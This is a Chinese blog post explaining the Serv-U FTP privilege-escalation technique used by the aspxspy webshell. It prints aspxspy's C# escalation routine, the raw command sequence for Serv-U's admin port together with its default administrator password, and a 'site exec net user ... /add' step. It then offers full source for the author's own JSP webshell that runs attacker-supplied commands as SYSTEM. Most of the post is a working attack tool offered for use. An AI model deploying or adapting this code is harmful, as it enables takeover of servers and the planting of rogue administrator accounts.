转载请注明出处:http://write.blog.csdn.net/postedit/7025588
今天在搞一个aspx的网站时,看到aspxspy这个木马中集成的serv-u提权功能,于是就有了研究一下serv-u提权原理的想法。先来看看aspxspy的相关提权代码是怎么写的:
public void lDODR() { string JGGg=string.Empty; string user=dNohJ.Value; string pass=NMd.Value; int port=Int32.Parse(HlQl.Value); string cmd=mHbjB.Value; //管理员名 string CRtK="user "+user+"\r\n"; //管理员密码 string jnNG="pass "+pass+"\r\n"; //变换为系统权限模式 string site="SITE MAINTENANCE\r\n"; //删除域 string mtoJb="-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=52521\r\n"; //新建一个域 string sutI="-SETDOMAIN\r\n-Domain=BIN|0.0.0.0|52521|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n"; //添加一个系统级用户 string iVDT="-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=52521\r\n-User=bin\r\n-Password=binftp\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n"; //退出 string zexn="QUIT\r\n"; UHlA.Visible=true; try { tcp.Connect("127.0.0.1",port); tcp.ReceiveBufferSize=1024; NS=tcp.GetStream(); Rev(NS); ZJiM(NS,CRtK); Rev(NS); ZJiM(NS,jnNG); Rev(NS); ZJiM(NS,site); Rev(NS); ZJiM(NS,mtoJb); Rev(NS); ZJiM(NS,sutI); Rev(NS); ZJiM(NS,iVDT); Rev(NS); Bin_Td_Res.InnerHtml+="<font color=\"green\"><b>Exec Cmd.................\r\n</b></font>"; zvxm.Connect(Request.ServerVariables["LOCAL_ADDR"],52521); NS1=zvxm.GetStream(); Rev(NS1); ZJiM(NS1,"user bin\r\n"); Rev(NS1); ZJiM(NS1,"pass binftp\r\n"); Rev(NS1); ZJiM(NS1,"site exec "+cmd+"\r\n"); Rev(NS1); ZJiM(NS1,"quit\r\n"); Rev(NS1); zvxm.Close(); ZJiM(NS,mtoJb); Rev(NS); tcp.Close(); } catch(Exception error) { xseuB(error.Message); } }
通过代码,可以看出,提权的原理就是创建一个socket连接43958端口,这个端口是serv-u的管理端口,使用localadministrator用户登录,之后新建一个域,再添加一个系统级用户,使用这个用户来执行cmd命令,原理就是这样的,我们可以在cmd里使用telnet连接43958端口来测试一下,可以成功。
下面附上提权时提交的数据,有兴趣的朋友可以测试:
管理员账户登录
USER LocalAdministrator
PASS #l@$ak#.lk;0@P
转到系统权限模式
SITE MAINTENANCE
建立一个域
-SETDOMAIN
-Domain=LUP7IN0.0.0.0|21|-1|1|0
-TZOEnable=0
TZOKey=
添加一个系统级用户
-SETUSERSETUP
-IP=0.0.0.0
-PortNo=13141
-User=lup7in
-Password=123456
-HomeDir=c:\
-LoginMesFile=
-Disable=0
-RelPaths=1
-NeedSecure=0
-HideHidden=0
-AlwaysAllowLogin=0
-ChangePassword=0
-QuotaEnable=0
-MaxUsersLoginPerIP=-1
-SpeedLimitUp=0
-SpeedLimitDown=0
-MaxNrUsers=-1
-IdleTimeOut=600
-SessionTimeOut=-1
-Expire=0 -RatioUp=1
-RatioDown=1
-RatiosCredit=0
-QuotaCurrent=0
-QuotaMaximum=0
-Maintenance=None
-PasswordType=Regular
-Ratios=None
Access=C:\\\|RWAMELCDP
使用添加的ftp账户登录 执行系统命令
USER lup7in
PASS 123456
site exec net user lup7in 123 /add
删除域
-DELETEDOMAIN
-IP=0.0.0.0
PortNo=13141
连接43958端口后,依次输入如上数据就可以完成提权。
最后写了一个jsp版的serv-u提权木马,现在网络上好像还没有jsp版的serv-u提权木马,可能因为jsp的网站拿到webshell基本就是system权限吧,不管了,写一个玩玩,有兴趣的朋友可以下载回去看看。
源代码如下:
<%@ page language="java" import="java.util.*,java.net.*,java.io.*" pageEncoding="UTF-8"%> <%! public class ServUExp { private String ip; private String user; private String pass; private int port; private String cmd; private Socket sock; public ServUExp(String ip,String user,String pass,int port,String cmd) throws UnknownHostException, IOException { this.ip = ip; this.user = user; this.pass = pass; this.port = port; this.cmd = cmd; } private void send(String mes,OutputStream os) { try { os.write(mes.getBytes()); os.flush(); Thread.sleep(50); } catch (IOException e) { e.printStackTrace(); } catch (InterruptedException e) { e.printStackTrace(); } } private String recv(InputStream is) { StringBuffer sb = new StringBuffer(); byte[] b = new byte[1024]; int len; try { while(is.available() != 0){ len = is.read(b); sb.append(new String(b,0,len)); } } catch (IOException e) { e.printStackTrace(); } return sb.toString(); } public String servuExp() throws IOException{ String res = ""; String user = "user " + this.user + "\r\n"; String pass = "pass " + this.pass + "\r\n"; String site = "SITE MAINTENANCE\r\n"; String delSite = "-DELETEDOMAIN\r\n-IP=0.0.0.0\r\n PortNo=13141\r\n"; String setSite = "-SETDOMAIN\r\n-Domain=LUP7IN|0.0.0.0|13141|-1|1|0\r\n-TZOEnable=0\r\n TZOKey=\r\n"; String createUser = "-SETUSERSETUP\r\n-IP=0.0.0.0\r\n-PortNo=13141\r\n-User=lup7in\r\n-Password=123456\r\n-HomeDir=c:\\\r\n-LoginMesFile=\r\n-Disable=0\r\n-RelPaths=1\r\n-NeedSecure=0\r\n-HideHidden=0\r\n-AlwaysAllowLogin=0\r\n-ChangePassword=0\r\n-QuotaEnable=0\r\n-MaxUsersLoginPerIP=-1\r\n-SpeedLimitUp=0\r\n-SpeedLimitDown=0\r\n-MaxNrUsers=-1\r\n-IdleTimeOut=600\r\n-SessionTimeOut=-1\r\n-Expire=0\r\n-RatioDown=1\r\n-RatiosCredit=0\r\n-QuotaCurrent=0\r\n-QuotaMaximum=0\r\n-Maintenance=System\r\n-PasswordType=Regular\r\n-Ratios=NoneRN\r\n Access=c:\\|RWAMELCDP\r\n"; String cmd = this.cmd; String quit = "QUIT\r\n"; this.sock = new Socket(); this.sock.connect(new InetSocketAddress(ip,port)); this.sock.setReceiveBufferSize(1024); OutputStream os = this.sock.getOutputStream(); InputStream is = this.sock.getInputStream(); this.send(user,os); this.send(pass,os); this.send(site,os); this.send(delSite,os); this.send(setSite,os); this.send(createUser,os); res += this.recv(is); res += this.execCmd(cmd); this.send(delSite, os); this.send(quit,os); res += this.recv(is); is.close(); os.close(); this.sock.close(); return res; } private String execCmd(String cmd){ String res = ""; String user = "user lup7in\r\n"; String pass = "pass 123456\r\n"; String cmdshell = "site exec " + cmd + "\r\n"; String quit = "quit\r\n"; try { Socket sock = new Socket("127.0.0.1",13141); OutputStream os = sock.getOutputStream(); InputStream is = sock.getInputStream(); this.send(user, os); this.send(pass, os); this.send(cmdshell, os); this.send(quit, os); res += this.recv(is); is.close(); os.close(); sock.close(); } catch (UnknownHostException e) { e.printStackTrace(); } catch (IOException e) { e.printStackTrace(); } return res; } } %> <% //上传后的木马文件名 String fileName = request.getServletPath().substring(1); //System.out.println(fileName); String ip = request.getParameter("ip"); String port = request.getParameter("port"); String user = request.getParameter("user"); String pass = request.getParameter("pass"); String cmd = request.getParameter("cmd"); if(ip != null && port != null && user != null && pass != null && cmd != null){ ip = java.net.URLDecoder.decode(ip,"UTF-8"); port = java.net.URLDecoder.decode(port,"UTF-8"); user = java.net.URLDecoder.decode(user,"UTF-8"); pass = java.net.URLDecoder.decode(pass,"UTF-8"); cmd = java.net.URLDecoder.decode(cmd,"UTF-8"); String res = null; try{ ServUExp servExp = new ServUExp(ip,user,pass,Integer.parseInt(port),cmd); res = "<font color='blue'>" + servExp.servuExp() + "</font>"; res = res.replace("\r\n","<br>"); }catch(UnknownHostException e){ res += "<font color='red'>" + e.getMessage() + "</font>"; }catch(IOException e){ res += "<font color='red'>" + e.getMessage() + "</font>"; } if(null != res){ res += "<font color='red'>命令执行完毕!Gook Luck..</font>"; PrintWriter pw = response.getWriter(); pw.print(res); pw.flush(); pw.close(); } } //System.out.println(ip + port + user + pass + cmd); %> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"> <html> <head> <title>JSP版 Serv-u提权木马 作者:Lup7in</title> <meta http-equiv="pragma" content="no-cache"> <meta http-equiv="cache-control" content="no-cache"> <meta http-equiv="expires" content="0"> <meta http-equiv="keywords" content="keyword1,keyword2,keyword3"> <meta http-equiv="description" content="This is my page"> <!-- <link rel="stylesheet" type="text/css" href="styles.css"> --> <script type="text/javascript"> var ajax; var filename; var ip; var port; var user; var pass; var cmd; //初始化各个变量的函数 function init() { filename = document.getElementById('filename').value; ip = document.getElementById('ip').value; port = document.getElementById('port').value; user = document.getElementById('user').value; pass = document.getElementById('pass').value; cmd = document.getElementById('cmd').value; } //创建ajax对象的函数 function createAjaxObject() { if(window.ActiveXObject){ //ie ajax = new ActiveXObject("Microsoft.XMLHTTP"); }else{ //other ajax = new XMLHttpRequest(); } } //post提交数据函数 function doPost(url,param,callback) { createAjaxObject(); var par = encodeURI(param,"UTF-8"); //par = encodeURI(par,"UTF-8"); //alert(par); ajax.open("POST",url,true); ajax.setRequestHeader("Content-type","application/x-www-form-urlencoded"); ajax.onreadystatechange = callback; ajax.send(par); } //发送提权数据的函数 function sendExp() { init(); var result = document.getElementById('result'); result.innerHTML=""; //alert(pass); var parm = "ip=" + ip + "&port=" + port + "&user=" + user + "&pass=" + pass + "&cmd=" + cmd; doPost(filename,parm,expCallBack); } //提权之后的回调函数 function expCallBack() { if(4 == ajax.readyState) { if(200 == ajax.status) { var res = ajax.responseText; var result = document.getElementById('result'); result.innerHTML=res; } } } </script> </head> <body> <table align="center"> <tr> <td align="center"> <h2><font color="blue">JSP版 Serv-u提权木马 作者:Lup7in</font></h2> </td> </tr> <tr> <td> <font color="red">IP :</font><input type="text" id="ip" value="127.0.0.1"><br><br> <font color="red">Port:</font><input type="text" id="port" value="43958" size="6"><br><br> <font color="red">User:</font><input type="text" id="user" value="localadministrator"><br><br> <font color="red">Pass:</font><input type="text" id="pass" value="#l@$ak#.lk;0@P"><br><br> <font color="red">Cmd:</font><input type="text" id="cmd" value="net user lup7in 123456 /add" size="90"><br><br> <input id="filename" type="hidden" value="<%=fileName%>"> <input type="button" value="提权" onclick="sendExp()"> </td> </tr> <tr> <td> <span id="result"></span> </td> </tr> </table> </body> </html>